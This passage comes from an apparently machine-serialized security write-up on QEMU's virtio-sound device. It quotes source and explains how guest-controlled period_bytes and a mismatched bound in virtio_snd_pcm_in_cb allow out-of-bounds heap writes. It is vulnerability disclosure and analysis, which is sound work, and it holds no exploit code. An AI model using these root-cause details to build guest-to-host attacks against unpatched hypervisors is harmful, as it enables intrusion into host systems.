0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[125107],{"type":21,"tag":194,"props":125108,"children":125109},{"__ignoreMap":7},[125110,125117,125125,125132,125140,125148,125155,125204,125211,125237,125254,125266,125273,125305,125350,125390,125397,125405,125412,125437,125465,125489,125497,125509,125547,125560,125572,125579,125625,125662,125705,125726,125746,125766,125777,125784,125807,125823,125831,125838,125845,125852],{"type":21,"tag":198,"props":125111,"children":125112},{"class":200,"line":201},[125113],{"type":21,"tag":198,"props":125114,"children":125115},{"style":1233},[125116],{"type":27,"value":2480},{"type":21,"tag":198,"props":125118,"children":125119},{"class":200,"line":217},[125120],{"type":21,"tag":198,"props":125121,"children":125122},{"style":1233},[125123],{"type":27,"value":125124}," * AUD_* input callback.\n",{"type":21,"tag":198,"props":125126,"children":125127},{"class":200,"line":236},[125128],{"type":21,"tag":198,"props":125129,"children":125130},{"style":1233},[125131],{"type":27,"value":20283},{"type":21,"tag":198,"props":125133,"children":125134},{"class":200,"line":260},[125135],{"type":21,"tag":198,"props":125136,"children":125137},{"style":1233},[125138],{"type":27,"value":125139}," * @data: VirtIOSoundPCMStream stream\n",{"type":21,"tag":198,"props":125141,"children":125142},{"class":200,"line":281},[125143],{"type":21,"tag":198,"props":125144,"children":125145},{"style":1233},[125146],{"type":27,"value":125147}," * @available: number of bytes that can be read with AUD_read()\n",{"type":21,"tag":198,"props":125149,"children":125150},{"class":200,"line":302},[125151],{"type":21,"tag":198,"props":125152,"children":125153},{"style":1233},[125154],{"type":27,"value":124210},{"type":21,"tag":198,"props":125156,"children":125157},{"class":200,"line":323},[125158,125162,125166,125171,125175,125179,125183,125187,125191,125195,125200],{"type":21,"tag":198,"props":125159,"children":125160},{"style":249},[125161],{"type":27,"value":51420},{"type":21,"tag":198,"props":125163,"children":125164},{"style":249},[125165],{"type":27,"value":51425},{"type":21,"tag":198,"props":125167,"children":125168},{"style":698},[125169],{"type":27,"value":125170}," virtio_snd_pcm_in_cb",{"type":21,"tag":198,"props":125172,"children":125173},{"style":211},[125174],{"type":27,"value":706},{"type":21,"tag":198,"props":125176,"children":125177},{"style":249},[125178],{"type":27,"value":52003},{"type":21,"tag":198,"props":125180,"children":125181},{"style":683},[125182],{"type":27,"value":10626},{"type":21,"tag":198,"props":125184,"children":125185},{"style":226},[125186],{"type":27,"value":4508},{"type":21,"tag":198,"props":125188,"children":125189},{"style":211},[125190],{"type":27,"value":828},{"type":21,"tag":198,"props":125192,"children":125193},{"style":249},[125194],{"type":27,"value":19841},{"type":21,"tag":198,"props":125196,"children":125197},{"style":226},[125198],{"type":27,"value":125199}," available",{"type":21,"tag":198,"props":125201,"children":125202},{"style":211},[125203],{"type":27,"value":789},{"type":21,"tag":198,"props":125205,"children":125206},{"class":200,"line":344},[125207],{"type":21,"tag":198,"props":125208,"children":125209},{"style":211},[125210],{"type":27,"value":11689},{"type":21,"tag":198,"props":125212,"children":125213},{"class":200,"line":365},[125214,125219,125223,125228,125232],{"type":21,"tag":198,"props":125215,"children":125216},{"style":211},[125217],{"type":27,"value":125218}," VirtIOSoundPCMStream ",{"type":21,"tag":198,"props":125220,"children":125221},{"style":683},[125222],{"type":27,"value":5383},{"type":21,"tag":198,"props":125224,"children":125225},{"style":211},[125226],{"type":27,"value":125227},"stream ",{"type":21,"tag":198,"props":125229,"children":125230},{"style":683},[125231],{"type":27,"value":3174},{"type":21,"tag":198,"props":125233,"children":125234},{"style":211},[125235],{"type":27,"value":125236}," data;\n",{"type":21,"tag":198,"props":125238,"children":125239},{"class":200,"line":386},[125240,125245,125249],{"type":21,"tag":198,"props":125241,"children":125242},{"style":211},[125243],{"type":27,"value":125244}," VirtIOSoundPCMBuffer ",{"type":21,"tag":198,"props":125246,"children":125247},{"style":683},[125248],{"type":27,"value":5383},{"type":21,"tag":198,"props":125250,"children":125251},{"style":211},[125252],{"type":27,"value":125253},"buffer;\n",{"type":21,"tag":198,"props":125255,"children":125256},{"class":200,"line":408},[125257,125261],{"type":21,"tag":198,"props":125258,"children":125259},{"style":249},[125260],{"type":27,"value":17368},{"type":21,"tag":198,"props":125262,"children":125263},{"style":211},[125264],{"type":27,"value":125265}," size, max_size;\n",{"type":21,"tag":198,"props":125267,"children":125268},{"class":200,"line":429},[125269],{"type":21,"tag":198,"props":125270,"children":125271},{"emptyLinePlaceholder":16},[125272],{"type":27,"value":1283},{"type":21,"tag":198,"props":125274,"children":125275},{"class":200,"line":450},[125276,125281,125285,125289,125293,125297,125301],{"type":21,"tag":198,"props":125277,"children":125278},{"style":698},[125279],{"type":27,"value":125280}," WITH_QEMU_LOCK_GUARD",{"type":21,"tag":198,"props":125282,"children":125283},{"style":211},[125284],{"type":27,"value":706},{"type":21,"tag":198,"props":125286,"children":125287},{"style":683},[125288],{"type":27,"value":3917},{"type":21,"tag":198,"props":125290,"children":125291},{"style":226},[125292],{"type":27,"value":37033},{"type":21,"tag":198,"props":125294,"children":125295},{"style":211},[125296],{"type":27,"value":14564},{"type":21,"tag":198,"props":125298,"children":125299},{"style":226},[125300],{"type":27,"value":124457},{"type":21,"tag":198,"props":125302,"children":125303},{"style":211},[125304],{"type":27,"value":668},{"type":21,"tag":198,"props":125306,"children":125307},{"class":200,"line":468},[125308,125313,125317,125321,125326,125330,125334,125338,125342,125346],{"type":21,"tag":198,"props":125309,"children":125310},{"style":640},[125311],{"type":27,"value":125312}," while",{"type":21,"tag":198,"props":125314,"children":125315},{"style":211},[125316],{"type":27,"value":648},{"type":21,"tag":198,"props":125318,"children":125319},{"style":683},[125320],{"type":27,"value":686},{"type":21,"tag":198,"props":125322,"children":125323},{"style":698},[125324],{"type":27,"value":125325},"QSIMPLEQ_EMPTY",{"type":21,"tag":198,"props":125327,"children":125328},{"style":211},[125329],{"type":27,"value":706},{"type":21,"tag":198,"props":125331,"children":125332},{"style":683},[125333],{"type":27,"value":3917},{"type":21,"tag":198,"props":125335,"children":125336},{"style":226},[125337],{"type":27,"value":37033},{"type":21,"tag":198,"props":125339,"children":125340},{"style":211},[125341],{"type":27,"value":14564},{"type":21,"tag":198,"props":125343,"children":125344},{"style":226},[125345],{"type":27,"value":124710},{"type":21,"tag":198,"props":125347,"children":125348},{"style":211},[125349],{"type":27,"value":724},{"type":21,"tag":198,"props":125351,"children":125352},{"class":200,"line":477},[125353,125357,125361,125366,125370,125374,125378,125382,125386],{"type":21,"tag":198,"props":125354,"children":125355},{"style":211},[125356],{"type":27,"value":124546},{"type":21,"tag":198,"props":125358,"children":125359},{"style":683},[125360],{"type":27,"value":3174},{"type":21,"tag":198,"props":125362,"children":125363},{"style":698},[125364],{"type":27,"value":125365}," QSIMPLEQ_FIRST",{"type":21,"tag":198,"props":125367,"children":125368},{"style":211},[125369],{"type":27,"value":706},{"type":21,"tag":198,"props":125371,"children":125372},{"style":683},[125373],{"type":27,"value":3917},{"type":21,"tag":198,"props":125375,"children":125376},{"style":226},[125377],{"type":27,"value":37033},{"type":21,"tag":198,"props":125379,"children":125380},{"style":211},[125381],{"type":27,"value":14564},{"type":21,"tag":198,"props":125383,"children":125384},{"style":226},[125385],{"type":27,"value":124710},{"type":21,"tag":198,"props":125387,"children":125388},{"style":211},[125389],{"type":27,"value":1470},{"type":21,"tag":198,"props":125391,"children":125392},{"class":200,"line":494},[125393],{"type":21,"tag":198,"props":125394,"children":125395},{"emptyLinePlaceholder":16},[125396],{"type":27,"value":1283},{"type":21,"tag":198,"props":125398,"children":125399},{"class":200,"line":515},[125400],{"type":21,"tag":198,"props":125401,"children":125402},{"style":211},[125403],{"type":27,"value":125404}," [...]\n",{"type":21,"tag":198,"props":125406,"children":125407},{"class":200,"line":4484},[125408],{"type":21,"tag":198,"props":125409,"children":125410},{"emptyLinePlaceholder":16},[125411],{"type":27,"value":1283},{"type":21,"tag":198,"props":125413,"children":125414},{"class":200,"line":4493},[125415,125420,125424,125428,125432],{"type":21,"tag":198,"props":125416,"children":125417},{"style":211},[125418],{"type":27,"value":125419}," max_size ",{"type":21,"tag":198,"props":125421,"children":125422},{"style":683},[125423],{"type":27,"value":3174},{"type":21,"tag":198,"props":125425,"children":125426},{"style":698},[125427],{"type":27,"value":124478},{"type":21,"tag":198,"props":125429,"children":125430},{"style":211},[125431],{"type":27,"value":706},{"type":21,"tag":198,"props":125433,"children":125434},{"style":1233},[125435],{"type":27,"value":125436}," // [1]\n",{"type":21,"tag":198,"props":125438,"children":125439},{"class":200,"line":4561},[125440,125445,125449,125453,125457,125461],{"type":21,"tag":198,"props":125441,"children":125442},{"style":226},[125443],{"type":27,"value":125444}," buffer",{"type":21,"tag":198,"props":125446,"children":125447},{"style":211},[125448],{"type":27,"value":14564},{"type":21,"tag":198,"props":125450,"children":125451},{"style":226},[125452],{"type":27,"value":52440},{"type":21,"tag":198,"props":125454,"children":125455},{"style":211},[125456],{"type":27,"value":14564},{"type":21,"tag":198,"props":125458,"children":125459},{"style":226},[125460],{"type":27,"value":124495},{"type":21,"tag":198,"props":125462,"children":125463},{"style":211},[125464],{"type":27,"value":257},{"type":21,"tag":198,"props":125466,"children":125467},{"class":200,"line":4569},[125468,125472,125476,125480,125484],{"type":21,"tag":198,"props":125469,"children":125470},{"style":226},[125471],{"type":27,"value":125444},{"type":21,"tag":198,"props":125473,"children":125474},{"style":211},[125475],{"type":27,"value":14564},{"type":21,"tag":198,"props":125477,"children":125478},{"style":226},[125479],{"type":27,"value":52440},{"type":21,"tag":198,"props":125481,"children":125482},{"style":211},[125483],{"type":27,"value":14564},{"type":21,"tag":198,"props":125485,"children":125486},{"style":226},[125487],{"type":27,"value":125488},"in_num\n",{"type":21,"tag":198,"props":125490,"children":125491},{"class":200,"line":4599},[125492],{"type":21,"tag":198,"props":125493,"children":125494},{"style":211},[125495],{"type":27,"value":125496}," );\n",{"type":21,"tag":198,"props":125498,"children":125499},{"class":200,"line":4607},[125500,125505],{"type":21,"tag":198,"props":125501,"children":125502},{"style":640},[125503],{"type":27,"value":125504}," for",{"type":21,"tag":198,"props":125506,"children":125507},{"style":211},[125508],{"type":27,"value":124308},{"type":21,"tag":198,"props":125510,"children":125511},{"class":200,"line":4638},[125512,125516,125520,125525,125529,125533,125537,125542],{"type":21,"tag":198,"props":125513,"children":125514},{"style":640},[125515],{"type":27,"value":103902},{"type":21,"tag":198,"props":125517,"children":125518},{"style":211},[125519],{"type":27,"value":648},{"type":21,"tag":198,"props":125521,"children":125522},{"style":226},[125523],{"type":27,"value":125524},"buffer",{"type":21,"tag":198,"props":125526,"children":125527},{"style":211},[125528],{"type":27,"value":14564},{"type":21,"tag":198,"props":125530,"children":125531},{"style":226},[125532],{"type":27,"value":124642},{"type":21,"tag":198,"props":125534,"children":125535},{"style":683},[125536],{"type":27,"value":9112},{"type":21,"tag":198,"props":125538,"children":125539},{"style":211},[125540],{"type":27,"value":125541}," max_size) {",{"type":21,"tag":198,"props":125543,"children":125544},{"style":1233},[125545],{"type":27,"value":125546}," // [2]\n",{"type":21,"tag":198,"props":125548,"children":125549},{"class":200,"line":4646},[125550,125555],{"type":21,"tag":198,"props":125551,"children":125552},{"style":698},[125553],{"type":27,"value":125554}," return_rx_buffer",{"type":21,"tag":198,"props":125556,"children":125557},{"style":211},[125558],{"type":27,"value":125559},"(stream, buffer);\n",{"type":21,"tag":198,"props":125561,"children":125562},{"class":200,"line":4706},[125563,125568],{"type":21,"tag":198,"props":125564,"children":125565},{"style":640},[125566],{"type":27,"value":125567}," break",{"type":21,"tag":198,"props":125569,"children":125570},{"style":211},[125571],{"type":27,"value":1483},{"type":21,"tag":198,"props":125573,"children":125574},{"class":200,"line":9857},[125575],{"type":21,"tag":198,"props":125576,"children":125577},{"style":211},[125578],{"type":27,"value":71451},{"type":21,"tag":198,"props":125580,"children":125581},{"class":200,"line":9875},[125582,125587,125591,125596,125600,125604,125608,125613,125617,125621],{"type":21,"tag":198,"props":125583,"children":125584},{"style":211},[125585],{"type":27,"value":125586}," size ",{"type":21,"tag":198,"props":125588,"children":125589},{"style":683},[125590],{"type":27,"value":3174},{"type":21,"tag":198,"props":125592,"children":125593},{"style":698},[125594],{"type":27,"value":125595}," AUD_read",{"type":21,"tag":198,"props":125597,"children":125598},{"style":211},[125599],{"type":27,"value":706},{"type":21,"tag":198,"props":125601,"children":125602},{"style":226},[125603],{"type":27,"value":37033},{"type":21,"tag":198,"props":125605,"children":125606},{"style":211},[125607],{"type":27,"value":14564},{"type":21,"tag":198,"props":125609,"children":125610},{"style":226},[125611],{"type":27,"value":125612},"voice",{"type":21,"tag":198,"props":125614,"children":125615},{"style":211},[125616],{"type":27,"value":658},{"type":21,"tag":198,"props":125618,"children":125619},{"style":226},[125620],{"type":27,"value":95880},{"type":21,"tag":198,"props":125622,"children":125623},{"style":211},[125624],{"type":27,"value":257},{"type":21,"tag":198,"props":125626,"children":125627},{"class":200,"line":9920},[125628,125633,125637,125641,125645,125650,125654,125658],{"type":21,"tag":198,"props":125629,"children":125630},{"style":226},[125631],{"type":27,"value":125632}," buffer",{"type":21,"tag":198,"props":125634,"children":125635},{"style":211},[125636],{"type":27,"value":14564},{"type":21,"tag":198,"props":125638,"children":125639},{"style":226},[125640],{"type":27,"value":4508},{"type":21,"tag":198,"props":125642,"children":125643},{"style":683},[125644],{"type":27,"value":1440},{"type":21,"tag":198,"props":125646,"children":125647},{"style":226},[125648],{"type":27,"value":125649}," buffer",{"type":21,"tag":198,"props":125651,"children":125652},{"style":211},[125653],{"type":27,"value":14564},{"type":21,"tag":198,"props":125655,"children":125656},{"style":226},[125657],{"type":27,"value":124642},{"type":21,"tag":198,"props":125659,"children":125660},{"style":211},[125661],{"type":27,"value":257},{"type":21,"tag":198,"props":125663,"children":125664},{"class":200,"line":10026},[125665,125670,125675,125679,125683,125687,125691,125696,125700],{"type":21,"tag":198,"props":125666,"children":125667},{"style":698},[125668],{"type":27,"value":125669}," MIN",{"type":21,"tag":198,"props":125671,"children":125672},{"style":211},[125673],{"type":27,"value":125674},"(available, (",{"type":21,"tag":198,"props":125676,"children":125677},{"style":226},[125678],{"type":27,"value":37033},{"type":21,"tag":198,"props":125680,"children":125681},{"style":211},[125682],{"type":27,"value":14564},{"type":21,"tag":198,"props":125684,"children":125685},{"style":226},[125686],{"type":27,"value":98664},{"type":21,"tag":198,"props":125688,"children":125689},{"style":211},[125690],{"type":27,"value":658},{"type":21,"tag":198,"props":125692,"children":125693},{"style":226},[125694],{"type":27,"value":125695},"period_bytes",{"type":21,"tag":198,"props":125697,"children":125698},{"style":683},[125699],{"type":27,"value":51631},{"type":21,"tag":198,"props":125701,"children":125702},{"style":1233},[125703],{"type":27,"value":125704}," // [3]\n",{"type":21,"tag":198,"props":125706,"children":125707},{"class":200,"line":24302},[125708,125713,125717,125721],{"type":21,"tag":198,"props":125709,"children":125710},{"style":226},[125711],{"type":27,"value":125712}," buffer",{"type":21,"tag":198,"props":125714,"children":125715},{"style":211},[125716],{"type":27,"value":14564},{"type":21,"tag":198,"props":125718,"children":125719},{"style":226},[125720],{"type":27,"value":124642},{"type":21,"tag":198,"props":125722,"children":125723},{"style":211},[125724],{"type":27,"value":125725},")));\n",{"type":21,"tag":198,"props":125727,"children":125728},{"class":200,"line":24337},[125729,125733,125737,125741],{"type":21,"tag":198,"props":125730,"children":125731},{"style":640},[125732],{"type":27,"value":103902},{"type":21,"tag":198,"props":125734,"children":125735},{"style":211},[125736],{"type":27,"value":648},{"type":21,"tag":198,"props":125738,"children":125739},{"style":683},[125740],{"type":27,"value":686},{"type":21,"tag":198,"props":125742,"children":125743},{"style":211},[125744],{"type":27,"value":125745},"size) {\n",{"type":21,"tag":198,"props":125747,"children":125748},{"class":200,"line":24345},[125749,125754,125758,125762],{"type":21,"tag":198,"props":125750,"children":125751},{"style":211},[125752],{"type":27,"value":125753}," available ",{"type":21,"tag":198,"props":125755,"children":125756},{"style":683},[125757],{"type":27,"value":3174},{"type":21,"tag":198,"props":125759,"children":125760},{"style":2540},[125761],{"type":27,"value":3855},{"type":21,"tag":198,"props":125763,"children":125764},{"style":211},[125765],{"type":27,"value":1483},{"type":21,"tag":198,"props":125767,"children":125768},{"class":200,"line":24353},[125769,125773],{"type":21,"tag":198,"props":125770,"children":125771},{"style":640},[125772],{"type":27,"value":125567},{"type":21,"tag":198,"props":125774,"children":125775},{"style":211},[125776],{"type":27,"value":1483},{"type":21,"tag":198,"props":125778,"children":125779},{"class":200,"line":24362},[125780],{"type":21,"tag":198,"props":125781,"children":125782},{"style":211},[125783],{"type":27,"value":71451},{"type":21,"tag":198,"props":125785,"children":125786},{"class":200,"line":24404},[125787,125791,125795,125799,125803],{"type":21,"tag":198,"props":125788,"children":125789},{"style":226},[125790],{"type":27,"value":125444},{"type":21,"tag":198,"props":125792,"children":125793},{"style":211},[125794],{"type":27,"value":14564},{"type":21,"tag":198,"props":125796,"children":125797},{"style":226},[125798],{"type":27,"value":124642},{"type":21,"tag":198,"props":125800,"children":125801},{"style":683},[125802],{"type":27,"value":15869},{"type":21,"tag":198,"props":125804,"children":125805},{"style":211},[125806],{"type":27,"value":124984},{"type":21,"tag":198,"props":125808,"children":125809},{"class":200,"line":24437},[125810,125815,125819],{"type":21,"tag":198,"props":125811,"children":125812},{"style":211},[125813],{"type":27,"value":125814}," available ",{"type":21,"tag":198,"props":125816,"children":125817},{"style":683},[125818],{"type":27,"value":104367},{"type":21,"tag":198,"props":125820,"children":125821},{"style":211},[125822],{"type":27,"value":124984},{"type":21,"tag":198,"props":125824,"children":125825},{"class":200,"line":24445},[125826],{"type":21,"tag":198,"props":125827,"children":125828},{"style":211},[125829],{"type":27,"value":125830}," [...]\n",{"type":21,"tag":198,"props":125832,"children":125833},{"class":200,"line":24453},[125834],{"type":21,"tag":198,"props":125835,"children":125836},{"style":211},[125837],{"type":27,"value":59262},{"type":21,"tag":198,"props":125839,"children":125840},{"class":200,"line":24462},[125841],{"type":21,"tag":198,"props":125842,"children":125843},{"style":211},[125844],{"type":27,"value":1160},{"type":21,"tag":198,"props":125846,"children":125847},{"class":200,"line":24538},[125848],{"type":21,"tag":198,"props":125849,"children":125850},{"style":211},[125851],{"type":27,"value":880},{"type":21,"tag":198,"props":125853,"children":125854},{"class":200,"line":24571},[125855],{"type":21,"tag":198,"props":125856,"children":125857},{"style":211},[125858],{"type":27,"value":1120},{"type":21,"tag":30,"props":125860,"children":125861},{},[125862,125863,125868,125869,125875,125877,125883,125885,125890,125891,125896,125898,125903],{"type":27,"value":124764},{"type":21,"tag":194,"props":125864,"children":125866},{"className":125865},[],[125867],{"type":27,"value":124770},{"type":27,"value":828},{"type":21,"tag":194,"props":125870,"children":125872},{"className":125871},[],[125873],{"type":27,"value":125874},"max_size",{"type":27,"value":125876}," is set to ",{"type":21,"tag":194,"props":125878,"children":125880},{"className":125879},[],[125881],{"type":27,"value":125882},"iov_size(in_sg, in_num)",{"type":27,"value":125884},". Both ",{"type":21,"tag":194,"props":125886,"children":125888},{"className":125887},[],[125889],{"type":27,"value":124495},{"type":27,"value":11801},{"type":21,"tag":194,"props":125892,"children":125894},{"className":125893},[],[125895],{"type":27,"value":124512},{"type":27,"value":125897}," are the same guest-controlled fields from ",{"type":21,"tag":194,"props":125899,"children":125901},{"className":125900},[],[125902],{"type":27,"value":124147},{"type":27,"value":658},{"type":21,"tag":30,"props":125905,"children":125906},{},[125907,125909,125914,125916,125922,125924,125930,125932,125938],{"type":27,"value":125908},"Later, at ",{"type":21,"tag":194,"props":125910,"children":125912},{"className":125911},[],[125913],{"type":27,"value":124805},{"type":27,"value":125915},", the code checks whether ",{"type":21,"tag":194,"props":125917,"children":125919},{"className":125918},[],[125920],{"type":27,"value":125921},"buffer->size >= max_size",{"type":27,"value":125923},". In the RX path, ",{"type":21,"tag":194,"props":125925,"children":125927},{"className":125926},[],[125928],{"type":27,"value":125929},"buffer->size",{"type":27,"value":125931}," tracks how many bytes have been written into ",{"type":21,"tag":194,"props":125933,"children":125935},{"className":125934},[],[125936],{"type":27,"value":125937},"buffer->data",{"type":27,"value":125939},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":21,"tag":30,"props":125941,"children":125942},{},[125943,125945,125950,125952,125958,125960,125965,125967,125973],{"type":27,"value":125944},"However, this does not match the allocation logic in ",{"type":21,"tag":194,"props":125946,"children":125948},{"className":125947},[],[125949],{"type":27,"value":124147},{"type":27,"value":125951},", which used: ",{"type":21,"tag":194,"props":125953,"children":125955},{"className":125954},[],[125956],{"type":27,"value":125957},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":27,"value":125959},". In other words, the allocation subtracts ",{"type":21,"tag":194,"props":125961,"children":125963},{"className":125962},[],[125964],{"type":27,"value":124871},{"type":27,"value":125966},", but the later bound in ",{"type":21,"tag":194,"props":125968,"children":125970},{"className":125969},[],[125971],{"type":27,"value":125972},"virtio_snd_pcm_in_cb",{"type":27,"value":125974}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":21,"tag":30,"props":125976,"children":125977},{},[125978,125980,125985,125987,125993,125995,126001,126003,126008,126010,126016,126018,126024,126026,126031,126033,126038],{"type":27,"value":125979},"Finally, at ",{"type":21,"tag":194,"props":125981,"children":125983},{"className":125982},[],[125984],{"type":27,"value":124829},{"type":27,"value":125986},", the code calls ",{"type":21,"tag":194,"props":125988,"children":125990},{"className":125989},[],[125991],{"type":27,"value":125992},"AUD_read",{"type":27,"value":125994}," with the following limit:\n",{"type":21,"tag":194,"props":125996,"children":125998},{"className":125997},[],[125999],{"type":27,"value":126000},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":27,"value":126002},". Notice how this bound does not take ",{"type":21,"tag":194,"props":126004,"children":126006},{"className":126005},[],[126007],{"type":27,"value":125874},{"type":27,"value":126009}," into account at all. That means if ",{"type":21,"tag":194,"props":126011,"children":126013},{"className":126012},[],[126014],{"type":27,"value":126015},"available",{"type":27,"value":126017}," is larger than the allocated buffer, and ",{"type":21,"tag":194,"props":126019,"children":126021},{"className":126020},[],[126022],{"type":27,"value":126023},"stream->params.period_bytes",{"type":27,"value":126025}," is also larger than the allocated buffer, ",{"type":21,"tag":194,"props":126027,"children":126029},{"className":126028},[],[126030],{"type":27,"value":125992},{"type":27,"value":126032}," will write past the end of ",{"type":21,"tag":194,"props":126034,"children":126036},{"className":126035},[],[126037],{"type":27,"value":125937},{"type":27,"value":126039}," - the third, and final, bug we found.",{"type":21,"tag":30,"props":126041,"children":126042},{},[126043,126045,126050,126052,126058],{"type":27,"value":126044},"Looking further at the code, we can see that ",{"type":21,"tag":194,"props":126046,"children":126048},{"className":126047},[],[126049],{"type":27,"value":126023},{"type":27,"value":126051}," is fully guest-controlled by issuing a ",{"type":21,"tag":194,"props":126053,"children":126055},{"className":126054},[],[126056],{"type":27,"value":126057},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":27,"value":126059}," request:",{"type":21,"tag":187,"props":126061,"children":126063},{"code":126062,"language":3954,"meta":7,"className":17318,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[126064],{"type":21,"tag":194,"props":126065,"children":126066},{"__ignoreMap":7},[126067,126075,126104,126121,126141,126148,126165,126172,126179,126186,126208,126215,126222,126229,126275,126318,126362,126370,126407,126443,126479,126486,126503],{"type":21,"tag":198,"props":126068,"children":126069},{"class":200,"line":201},[126070],{"type":21,"tag":198,"props":126071,"children":126072},{"style":249},[126073],{"type":27,"value":126074},"static\n",{"type":21,"tag":198,"props":126076,"children":126077},{"class":200,"line":217},[126078,126082,126087,126092,126096,126100],{"type":21,"tag":198,"props":126079,"children":126080},{"style":249},[126081],{"type":27,"value":58310},{"type":21,"tag":198,"props":126083,"children":126084},{"style":698},[126085],{"type":27,"value":126086}," virtio_snd_set_pcm_params",{"type":21,"tag":198,"props":126088,"children":126089},{"style":211},[126090],{"type":27,"value":126091},"(VirtIOSound ",{"type":21,"tag":198,"props":126093,"children":126094},{"style":683},[126095],{"type":27,"value":5383},{"type":21,"tag":198,"props":126097,"children":126098},{"style":226},[126099],{"type":27,"value":11460},{"type":21,"tag":198,"props":126101,"children":126102},{"style":211},[126103],{"type":27,"value":257},{"type":21,"tag":198,"props":126105,"children":126106},{"class":200,"line":236},[126107,126112,126117],{"type":21,"tag":198,"props":126108,"children":126109},{"style":249},[126110],{"type":27,"value":126111}," uint32_t",{"type":21,"tag":198,"props":126113,"children":126114},{"style":226},[126115],{"type":27,"value":126116}," stream_id",{"type":21,"tag":198,"props":126118,"children":126119},{"style":211},[126120],{"type":27,"value":257},{"type":21,"tag":198,"props":126122,"children":126123},{"class":200,"line":260},[126124,126129,126133,126137],{"type":21,"tag":198,"props":126125,"children":126126},{"style":211},[126127],{"type":27,"value":126128}," virtio_snd_pcm_set_params ",{"type":21,"tag":198,"props":126130,"children":126131},{"style":683},[126132],{"type":27,"value":5383},{"type":21,"tag":198,"props":126134,"children":126135},{"style":226},[126136],{"type":27,"value":98664},{"type":21,"tag":198,"props":126138,"children":126139},{"style":211},[126140],{"type":27,"value":789},{"type":21,"tag":198,"props":126142,"children":126143},{"class":200,"line":281},[126144],{"type":21,"tag":198,"props":126145,"children":126146},{"style":211},[126147],{"type":27,"value":11689},{"type":21,"tag":198,"props":126149,"children":126150},{"class":200,"line":302},[126151,126156,126160],{"type":21,"tag":198,"props":126152,"children":126153},{"style":211},[126154],{"type":27,"value":126155}," virtio_snd_pcm_set_params ",{"type":21,"tag":198,"props":126157,"children":126158},{"style":683},[126159],{"type":27,"value":5383},{"type":21,"tag":198,"props":126161,"children":126162},{"style":211},[126163],{"type":27,"value":126164},"st_params;\n",{"type":21,"tag":198,"props":126166,"children":126167},{"class":200,"line":323},[126168],{"type":21,"tag":198,"props":126169,"children":126170},{"emptyLinePlaceholder":16},[126171],{"type":27,"value":1283},{"type":21,"tag":198,"props":126173,"children":126174},{"class":200,"line":344},[126175],{"type":21,"tag":198,"props":126176,"children":126177},{"style":211},[126178],{"type":27,"value":105183},{"type":21,"tag":198,"props":126180,"children":126181},{"class":200,"line":365},[126182],{"type":21,"tag":198,"props":126183,"children":126184},{"emptyLinePlaceholder":16},[126185],{"type":27,"value":1283},{"type":21,"tag":198,"props":126187,"children":126188},{"class":200,"line":386},[126189,126194,126198,126203],{"type":21,"tag":198,"props":126190,"children":126191},{"style":211},[126192],{"type":27,"value":126193}," st_params ",{"type":21,"tag":198,"props":126195,"children":126196},{"style":683},[126197],{"type":27,"value":3174},{"type":21,"tag":198,"props":126199,"children":126200},{"style":698},[126201],{"type":27,"value":126202}," virtio_snd_pcm_get_params",{"type":21,"tag":198,"props":126204,"children":126205},{"style":211},[126206],{"type":27,"value":126207},"(s, stream_id);\n",{"type":21,"tag":198,"props":126209,"children":126210},{"class":200,"line":408},[126211],{"type":21,"tag":198,"props":126212,"children":126213},{"emptyLinePlaceholder":16},[126214],{"type":27,"value":1283},{"type":21,"tag":198,"props":126216,"children":126217},{"class":200,"line":429},[126218],{"type":21,"tag":198,"props":126219,"children":126220},{"style":211},[126221],{"type":27,"value":105183},{"type":21,"tag":198,"props":126223,"children":126224},{"class":200,"line":450},[126225],{"type":21,"tag":198,"props":126226,"children":126227},{"emptyLinePlaceholder":16},[126228],{"type":27,"value":1283},{"type":21,"tag":198,"props":126230,"children":126231},{"class":200,"line":468},[126232,126237,126241,126246,126250,126255,126259,126263,126267,126271],{"type":21,"tag":198,"props":126233,"children":126234},{"style":226},[126235],{"type":27,"value":126236}," st_params",{"type":21,"tag":198,"props":126238,"children":126239},{"style":211},[126240],{"type":27,"value":14564},{"type":21,"tag":198,"props":126242,"children":126243},{"style":226},[126244],{"type":27,"value":126245},"buffer_bytes",{"type":21,"tag":198,"props":126247,"children":126248},{"style":683},[126249],{"type":27,"value":979},{"type":21,"tag":198,"props":126251,"children":126252},{"style":698},[126253],{"type":27,"value":126254}," le32_to_cpu",{"type":21,"tag":198,"props":126256,"children":126257},{"style":211},[126258],{"type":27,"value":706},{"type":21,"tag":198,"props":126260,"children":126261},{"style":226},[126262],{"type":27,"value":98664},{"type":21,"tag":198,"props":126264,"children":126265},{"style":211},[126266],{"type":27,"value":14564},{"type":21,"tag":198,"props":126268,"children":126269},{"style":226},[126270],{"type":27,"value":126245},{"type":21,"tag":198,"props":126272,"children":126273},{"style":211},[126274],{"type":27,"value":1470},{"type":21,"tag":198,"props":126276,"children":126277},{"class":200,"line":477},[126278,126282,126286,126290,126294,126298,126302,126306,126310,126314],{"type":21,"tag":198,"props":126279,"children":126280},{"style":226},[126281],{"type":27,"value":126236},{"type":21,"tag":198,"props":126283,"children":126284},{"style":211},[126285],{"type":27,"value":14564},{"type":21,"tag":198,"props":126287,"children":126288},{"style":226},[126289],{"type":27,"value":125695},{"type":21,"tag":198,"props":126291,"children":126292},{"style":683},[126293],{"type":27,"value":979},{"type":21,"tag":198,"props":126295,"children":126296},{"style":698},[126297],{"type":27,"value":126254},{"type":21,"tag":198,"props":126299,"children":126300},{"style":211},[126301],{"type":27,"value":706},{"type":21,"tag":198,"props":126303,"children":126304},{"style":226},[126305],{"type":27,"value":98664},{"type":21,"tag":198,"props":126307,"children":126308},{"style":211},[